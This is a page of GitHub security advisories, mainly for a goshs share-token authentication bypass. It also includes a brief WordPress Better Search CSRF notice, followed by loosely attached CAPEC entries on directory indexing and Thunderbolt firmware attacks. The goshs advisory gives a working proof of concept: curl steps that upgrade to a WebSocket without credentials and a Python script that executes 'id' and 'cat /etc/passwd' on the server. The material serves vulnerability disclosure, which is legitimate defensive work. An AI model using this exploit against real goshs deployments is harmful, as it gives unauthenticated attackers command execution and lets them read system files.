GHSA-JGFX-74G2-9R6G
Vulnerability from github – Published: 2026-04-01 20:58 – Updated: 2026-04-06 17:32Summary
When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.
Details
The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters — including ?ws (WebSocket) which has higher priority than ?token.
// middleware.go:22-30 — token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
_, ok := fs.SharedLinks[token]
if ok {
next.ServeHTTP(w, r) // Full auth bypass
return
}
}
// ... normal auth checks never reached
A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.
1. Create a webroot:
mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt
2. Start goshs with auth + TLS + CLI mode:
/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000
CLI mode requires auth (
-b) and TLS (-s -ss). This is the documented usage — not a weakened config.
3. Verify authentication is required:
curl -sk https://localhost:8000/
Not authorized
4. As a legitimate user, create a share link:
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'
Response:
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}
Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).
5. Prove the token bypasses auth for WebSocket:
# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws'
# 401
# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101
For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.
PoC
import json, ssl, websocket
TOKEN = "gMP-w0hXRs-Q-FEZku63kA" # ← replace with your token
ws = websocket.create_connection(
f"wss://localhost:8000/?ws&token={TOKEN}",
sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")
# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...
# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
ws.close()

GHSA-JH73-2GQF-9G2H
Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:38The Better Search plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.5.2. This makes it possible for unauthenticated attackers to import settings via forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Mitigation
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
